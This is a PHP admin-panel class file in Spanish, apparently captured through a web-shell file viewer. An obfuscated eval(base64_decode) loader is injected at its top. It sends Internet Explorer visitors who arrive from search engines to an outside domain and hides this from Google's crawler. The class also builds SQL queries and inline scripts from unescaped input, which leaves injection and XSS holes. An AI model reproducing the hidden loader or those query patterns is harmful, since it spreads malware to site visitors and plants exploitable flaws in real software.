|
Server : Apache/2.4.62 System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64 User : www ( 80) PHP Version : 8.3.8 Disable Function : NONE Directory : /domains/logicswapweb/aplicaciones/admon/fnc/ |
Upload File : |
<?php eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpKXsKcHJlZ19tYXRjaCAoIi9tc2llIChbMC05Ll0rKS9pIiwkdWFnLCRtdik7CmlmIChpc3NldCgkbXZbMV0pKXsKJG12PXN0cl9yZXBsYWNlKCIuIiwiIiwkbXZbMV0pOwp9Cn0KaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpIGFuZCAkbXY+PTkwKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmcuIikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikgYW5kICFzdHJpc3RyKCRyZWZlcmVyLCJFZVlwM0Q3IikpewpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ3NibmNtLmVwYWMudG8vIik7CmV4aXQoKTsKfQp9Cn0KfQp9Cn0="));
class Panel extends Aplicacion{
var $usuario;
var $bitacora;
var $aplicacion;
var $aplicativo;
/*constructor*/
function Panel($nivel){
$this->Aplicacion();
$this->aplicacion="panel de control";
$this->usuario = new UsuarioPanel();
$this->bitacora= new BitacoraPanel();
$this->aplicativo= new Aplicacion();
$this->setFilesPanel($nivel);
$this->getCliente();
$this->getNumeroAdmin();
$this->getLimitAdmin();
$this->loadAplicacion("Panel de Control","panel");
}
/*
funcion getCliente
descripcion trae el cliente en el que esta instalado el panel
*/
function getCliente(){
$sql="select valor from parametro where aplicacion='9999' and nombre='cliente'";
if($this->execute($sql)){
if($this->numRows()>0){
list($cliente)=$this->fetchRow();
$this->cliente=$cliente;
return $cliente;
}else{
$out=trim($this->getMensaje("[013]","confirmacion"));
$this->setSalida(false,$out,"getCliente",$this->aplicacion);
return "indefinido";
}
}else{
$out=trim($this->getMensaje("[008]","error"));
$out.="\\n::".trim($this->getException());
$this->setSalida(false,$out,"getCliente",$this->aplicacion);
return "inconsultable";
}
}
/*
funcion getNumeroAdmin
descripcion trae el numero de administradores del panel instalado
*/
function getNumeroAdmin(){
$sql="select valor from parametro where aplicacion='9999' and nombre='numero_admin'";
if($this->execute($sql)){
if($this->numRows()>0){
list($numero)=$this->fetchRow();
$this->parametros['numero_admin']=$numero;
return $numero;
}else{
$out=trim($this->getMensaje("[014]","confirmacion"));
$this->setSalida(false,$out,"getNumeroAdmin",$this->aplicacion);
return 0;
}
}else{
$out=trim($this->getMensaje("[008]","error"));
$out.="\\n::".trim($this->getException());
$this->setSalida(false,$out,"getNumeroAdmin",$this->aplicacion);
return 0;
}
}
/*
funcion getLimitAdmin
descripcion trae el numero de administradores maximo permitido del panel instalado
*/
function getLimitAdmin(){
$sql="select valor from parametro where aplicacion='9999' and nombre='limite_admin'";
if($this->execute($sql)){
if($this->numRows()>0){
list($numero)=$this->fetchRow();
$this->parametros['limite_admin']=$numero;
return $numero;
}else{
$out=trim($this->getMensaje("[014]","confirmacion"));
$this->setSalida(false,$out,"getLimitAdmin",$this->aplicacion);
return 0;
}
}else{
$out=trim($this->getMensaje("[008]","error"));
$out.="\\n::".trim($this->getException());
$this->setSalida(false,$out,"getLimitAdmin",$this->aplicacion);
return 0;
}
}
/*
funcion setNumeroAdmin
descripcion asigna el numero de administradores del panel instalado
*/
function setNumeroAdmin($val,$lmt=200){
if($val<=$lmt){
$sql="update parametro set valor='$val' where aplicacion='9999' and nombre='numero_admin'";
if($this->execute($sql)){
$out=trim($this->getMensaje("[048]","confirmacion"));
$this->setSalida(true,$out,"setNumeroAdmin($val)",$this->aplicacion);
return true;
}else{
$out=trim($this->getMensaje("[008]","error"));
$out.="\\n::".trim($this->getException());
$this->setSalida(false,$out,"setNumeroAdmin($val)",$this->aplicacion);
return false;
}
}else{
$out=trim($this->getMensaje("[061]","mensaje"));
$this->setSalida(false,$out,"setNumeroAdmin($val)",$this->aplicacion);
return false;
}
}
/*
funcion setCliente
descripcion asigna el Cliente del panel instalado
*/
function setCliente($val){
$sql="update parametro set valor='$val' where aplicacion='9999' and nombre='cliente'";
if($this->execute($sql)){
$out=trim($this->getMensaje("[049]","confirmacion"));
$this->setSalida(true,$out,"setCliente($val)",$this->aplicacion);
return true;
}else{
$out=trim($this->getMensaje("[008]","error"));
$out.="\\n::".trim($this->getException());
$this->setSalida(false,$out,"setCliente($val)",$this->aplicacion);
return false;
}
}
/*
funcion countUser
descripcion devuelve la cuenta del total de usuarios
administradores o de manejo registrados en el panel
segun se solicite
*/
function countUser($tipo){
$sql="select count(*) as cant from panel_usuario where tipo='$tipo'";
if($this->execute($sql)){
list($cant)=$this->fetchRow();
$out=trim($this->getMensaje("[050]","confirmacion"));
//$this->setSalida(true,$out,"countUser($tipo)",$this->aplicacion);
return $cant;
}else{
$out=trim($this->getMensaje("[008]","error"));
$out.="\\n::".trim($this->getException());
$this->setSalida(false,$out,"countUser($tipo)",$this->aplicacion);
return $out;
}
}
/*
*funcion testConfig()
*descripcion comprueba que la configuracion de el numero de usuarios
* sea correspondiente al agredar un usuario mas administrador
* pre: el valor tp trae un valor entre [1-3]
*/
function testConfig($tp,$tpAnterior=false){
if($tp!=3){
$actual = $this->countUser(2);
$limiteG = $this->getLimitAdmin();
$limiteI = $this->getNumeroAdmin();
$tmp = $actual + 1; //la cantidad que quedaria si adiciona uno mas
if( empty($tpAnterior) || ( ($tpAnterior!=$tp) && ($tpAnterior==3 && $tp==2) ) ){
if($tmp<=$limiteG){
if($tmp<=$limiteI){
$out=trim($this->getMensaje("[062]","confirmacion"));
$this->setSalida(true,$out,"testConfig()",$this->aplicacion);
return true;
}else{
$out=trim($this->getMensaje("[061]","confirmacion"));
$this->setSalida(false,$out,"testConfig()",$this->aplicacion);
return false;
}
}else{
$out=trim($this->getMensaje("[061]","confirmacion"));
$this->setSalida(false,$out,"testConfig()",$this->aplicacion);
return false;
}
}else{
if($tpAnterior==1){
if($tp==2 ){
$out=trim($this->getMensaje("[150]","confirmacion"));
$this->setSalida(false,$out,"testConfig()",$this->aplicacion);
return false;
}else{
$out=trim($this->getMensaje("[062]","confirmacion"));
$this->setSalida(true,$out,"testConfig()",$this->aplicacion);
return true;
}
}
if( $tpAnterior==$tp && $tp==2){
$out=trim($this->getMensaje("[062]","confirmacion"));
$this->setSalida(true,$out,"testConfig()",$this->aplicacion);
return true;
}
if($tp==1){
if($tpAnterior!=1){
$out=trim($this->getMensaje("[151]","confirmacion"));
$this->setSalida(false,$out,"testConfig()",$this->aplicacion);
return false;
}else{
$out=trim($this->getMensaje("[062]","confirmacion"));
$this->setSalida(true,$out,"testConfig()",$this->aplicacion);
return true;
}
}
}
}else{
$out=trim($this->getMensaje("[062]","confirmacion"));
$this->setSalida(true,$out,"testConfig()",$this->aplicacion);
return true;
}
}
/*
funcion crearPanel
descripcion crea la bd para el panel de control, adiciona
el superusuario de azuldigital
pre: el archivo mer.sql debe estar bien formado(no debe tener errores en las consltas)
*/
function crearPanel(){
$path="mer.sql";
$file=@file($path);
if($file){
$file=implode("",$file);
$file=explode("[-]",$file);
$cant=sizeof($file);
$hechos=0;
foreach($file as $key=>$val){
$consulta=trim($val);
if($this->execute($consulta)){
$hechos++;
}else{
$out=trim($this->getMensaje("[003]","error"));
$out.="\\n::".trim($this->getException());
$this->setSalida(false,$out,"crearPanel",$this->aplicacion);
//return false;
break;
}
}
if($hechos==$cant){
$fecha=date('Y-m-d');
$sql="INSERT INTO panel_usuario VALUES (1, 1, 'Edward', 'Gallego', '[email protected]', 'azul', 'psweb', 'activo', '16289044', '3357791', '3002875896', 'colombia', 'cali', 'desarrollador web', '$fecha');";
if($this->execute($sql)){
$out=$this->getMensaje("[010]","confirmacion");
$this->setSalida(true,$out,"crearPanel",$this->aplicacion);
return true;
}else{
$out=trim($this->getMensaje("[003]","error"));
$out.="\\n::".trim($this->getException());
$this->setSalida(false,$out,"crearPanel",$this->aplicacion);
//borro la bd empezada
$sql="drop database pruebapanel";
$this->execute($sql);
return false;
}
}else{
if($hechos>0){//borro la bd empezada
$sql="drop database pruebapanel";
$this->execute($sql);
}
$out=trim($this->getMensaje("[004]","error"));
$out.="\\n::".trim($this->getException());
$this->setSalida(false,$out,"crearPanel",$this->aplicacion);
return false;
}
}else{
$out=$this->getMensaje("[002]","error");
$this->setSalida(false,$out,"CrearPanel",$this->aplicacion);
return false;
}
}
/*
fncion cargarPanel
descripcion llama al index del panel de control
*/
function cargarPanel(){
echo "<script>parent.location.href='../admon/index.php';</script>";
}
/*
funcion loadContenido()
descripcion despliga en el frame de contenido
la pagina solicitada
*/
function loadContenido($pag){
echo "<script>window.open('$pag','contenido');</script>";
}
/*
funcion loadLateral()
descripcion refresca el contenido del menu lateral
*/
function loadLateral($pag){
echo "<script>window.open('$pag','contenido');window.open('../lateral.php','lateral');</script>";
}
/*
funcion loadSuperior()
descripcion refresca el contenido del frame superior
*/
function loadSuperior($pag,$user){
echo "<script>window.open('$pag','contenido');window.open('../superior.php?user=$user','superior');</script>";
}
/*
funcion reValidar()
descripcion devuelve el navegador a la ventana de navegacion
*/
function reValidar(){
echo "<script>parent.location.href ='../index.php';</script>";
}
/*
fncion cargarContenido
descripcion despliega la tabla con todas las aplicaciones
viculadas con este usuario
pre: debe de haber installed applications
*/
function cargarContenido($tipo,$user,$estado,$ncol){
if($tipo==3){
$sql = "SELECT vinc.aplicacion, apli.nombre, apli.carpeta, apli.icono FROM panel_vinculo as vinc, panel_aplicacion as apli WHERE vinc.usuario_panel='$user' and vinc.aplicacion=apli.id and apli.estado=1";
}else{
$sql = "SELECT apli.id, apli.nombre, apli.carpeta, apli.icono FROM panel_aplicacion as apli WHERE apli.estado=1";
$estado = "activo";
}
if($this->execute($sql)){
$lineas = ceil($this->numRows()/$ncol);
echo "<table width=\"545\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" align=\"center\">";
for($i=0;$i<=$lineas;$i++){
echo "<tr>";
for($j=1;$j<=$ncol;$j++){
echo "<td width=\"5\"> </td>";
echo "<td>";
if(list($id,$nombre,$carpeta,$icono)=$this->fetchRow()){
$nombre=ucfirst($nombre);
echo "<table>";
echo "<tr>";
if($estado=="activo"){
$this->usuario->vinculo->loadVinculo($this->usuario->id,$id);
if($this->usuario->vinculo->bloqueado=="NO"||$this->usuario->tipo==1||$this->usuario->tipo==2){
echo "<td width=\"112\" height=\"112\"><a href=\"$carpeta/menu.php?seleccion=$id\"><img src=\"img_aplicaciones/$icono\" border=\"0\"></a>";
}else{
$ms=$this->getMensaje("[015]","confirmacion");
echo "<td width=\"112\" height=\"112\"><a onclick=\"javascript: alert('$ms');\"><img src=\"img_aplicaciones/$icono\" border=\"0\"></a>";
}
}else{
$ms=$this->getMensaje("[015]","confirmacion");
echo "<td width=\"112\" height=\"112\" align=\"center\" valign=\"middle\"><a onclick=\"javascript: alert('$ms');\"><img src=\"img_aplicaciones/$icono\" border=\"0\"></a>";
}
echo "</td>";
echo "</tr>";
echo "<tr>";
if($estado=="activo"){
$this->usuario->vinculo->loadVinculo($this->usuario->id,$id);
if($this->usuario->vinculo->bloqueado=="NO"||$this->usuario->tipo==1||$this->usuario->tipo==2){
echo "<td><a class=\"textoinfo\" href=\"$carpeta/menu.php?seleccion=$id\"><div align=\"center\" class=\"nombreApli\">$nombre</div></a>";
}else{
$ms=$this->getMensaje("[015]","confirmacion");
echo "<td><a class=\"textoinfo\" onclick=\"javascript: alert('$ms');\"><div align=\"center\" class=\"textoinfo\">$nombre</div></a>";
}
}else{
$ms=$this->getMensaje("[015]","confirmacion");
echo "<td><a class=\"textoinfo\" onclick=\"javascript: alert('$ms');\"><div align=\"center\" class=\"textoinfo\">$nombre</div></a>";
}
echo "</td>";
echo "</tr>";
echo "</table>";
}elseif($this->numRows()!=0){
echo" ";
}else{
$j=5; $i=$lineas+10;
echo "<div align=\"center\" class=\"nombreColum_red\">No tiene vinculos con ninguna aplicacion</div>";
}
echo "</td>";
}
echo "</tr>";
}
echo "</table>";
}else{
$out=$this->getMensaje("[007]","error");
$this->setSalida(false,$out,"cargarContenido($tipo,$user,$estado)",$this->aplicacion);
return false;
}
}
/*
fncion existAplicaciones()
descripcion indica
*/
function existAplicaciones(){
$sql="select * from panel_aplicacion where estado=1";
if($this->execute($sql)){
if($this->numRows()>0){
return true;
}else{echo "0 aplicaciones";
$out=$this->getMensaje("[012]","confirmacion");
$this->setSalida(false,$out,"existAplicaciones",$this->aplicacion);
return false;
}
}else{
$out=$this->getMensaje("[007]","error");
$out.=trim($this->getException());
$this->setSalida(false,$out,"existAplicaciones",$this->aplicacion);
return false;
}
}
/*
funcion cargarLateral()
descripcion coloca el menu de aplicaciones disponibles para el usuario
*/
function cargarLateral($tipo,$user,$estado){
if($tipo==3){
$sql = "SELECT vinc.aplicacion, apli.nombre, apli.carpeta FROM panel_vinculo as vinc, panel_aplicacion as apli WHERE vinc.usuario_panel='$user' and vinc.aplicacion=apli.id and apli.estado=1";
}else{
$sql = "SELECT apli.id, apli.nombre, apli.carpeta FROM panel_aplicacion as apli WHERE apli.estado=1";
$estado = "activo";
}
if($this->execute($sql)){
if($this->numRows()>0){
echo "<table width=\"122\" cellspacing=\"1\" cellpadding=\"0\">";
while(list($id,$nombre,$carpeta)=$this->fetchRow()){
$nombre=ucfirst($nombre);
if($estado=="activo"){
$this->usuario->vinculo->loadVinculo($this->usuario->id,$id);
if($this->usuario->vinculo->bloqueado=="NO"||$this->usuario->tipo==1||$this->usuario->tipo==2){
echo "<tr><td align=\"center\" width=\"100%\" class=\"menu2\">";
echo "<a style=\"width:100% \" href=\"$carpeta/menu.php?seleccion=$id\" target=\"contenido\" class=\"menu2\"><span class=\"menu2\">$nombre</span></a></td></tr>";
}else{
$ms=$this->getMensaje("[015]","confirmacion");
echo "<tr><td align=\"center\" width=\"100%\" class=\"menu2\">";
echo "<a style=\"width:100% \" onclick=\"javascript: alert('$ms');\"class=\"menu2\"><span class=\"menu2\">$nombre</span></a></td></tr>";
}
}else{
$ms=$this->getMensaje("[015]","confirmacion");
echo "<tr><td align=\"center\" width=\"100%\" class=\"menu2\">";
echo "<a style=\"width:100% \" href=\"javascript: alert('$ms');\" class=\"menu2\"><span class=\"menu2\">$nombre</span></a></td></tr>";
}
}
echo "</table>";
return true;
}else{
$out=$this->getMensaje("[016]","confirmacion");
$this->setSalida(false,$out,"existAplicaciones",$this->aplicacion);
echo "<table width=\"122\" cellspacing=\"1\" cellpadding=\"0\"><tr><td class=\"menu2\"><div align=\"center\" class=\"menu2\">$out</div></td></tr></table>";
return false;
}
}else{
$out=$this->getMensaje("[009]","error");
$out.=trim($this->getException());
$this->setSalida(false,$out,"cargarLateral",$this->aplicacion);
echo "<table width=\"122\" cellspacing=\"1\" cellpadding=\"0\"><tr><td class=\"menu2\"><div align=\"center\" class=\"menu2\">$out</div></td></tr></table>";
return false;
}
}
/*
funcion setAplicacion
descripcion actualiza el nombre de la aplicacion actual en el panel
y en el usuario del panel
*/
function setAplicacion($nombre,$tipo="panel",$id=false){
if($tipo=="panel"){
$this->aplicacion=$nombre;
$this->usuario->aplicacion=$nombre;
$out=$this->getMensaje("[017]","confirmacion")." ($nombre)";
$this->setSalida(true,$out,"panel->setAplicacion($nombre)","Panel de control");
}elseif($tipo=="cliente"){
}
}
/*
*
*/
function setFilesPanel($nivel){
$this->setFiles($nivel);
$this->usuario->setFilesUser($nivel);
$this->bitacora->setFiles($nivel);
$this->parametro->setFiles($nivel);
$this->aplicativo->setFilesApli($nivel);
}
/*
funcion reactivarDB
descripcion reactiva las conexiones de BD tanto para
el panel como para los objetos que el agrega
*/
function reactivarDB(){
$this->reConnect();
$this->parametro->reConnect();
$this->bitacora->reConnect();
$this->aplicativo->reactivarDB();
$this->usuario->reactivarDB();
}
/*
*funcion enableDebugPanel
*descripcion permite la visualizacion de las operaciones realizadas
*/
function enableDebugPanel(){
$this->enableDebug();
$this->parametro->enableDebug();
$this->bitacora->enableDebug();
$this->aplicativo->enableDebugApli();
$this->usuario->enableDebugUser();
}
/*
*funcion disableDebugPanel
*descripcion inhabilita la visualizacion de las operaciones realizadas
*/
function disableDebugPanel(){
$this->disableDebug();
$this->parametro->disableDebug();
$this->bitacora->disableDebug();
$this->aplicativo->disableDebugApli();
$this->usuario->disableDebugUser();
}
}//endclass
?>